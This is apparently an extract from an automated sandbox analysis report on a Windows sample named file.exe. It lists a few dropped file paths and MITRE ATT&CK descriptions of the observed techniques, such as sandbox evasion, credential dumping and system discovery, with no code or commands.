C:\ProgramData\BKKJKFBKKECFHJKEBKEHIDAEBK

C:\ProgramData\BNAGMGSPLO.docx

C:\ProgramData\DQOFHVHTMG.xlsx

C:\ProgramData\DUUDTUBZFW.docx

Windows Analysis Report
file.exe

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre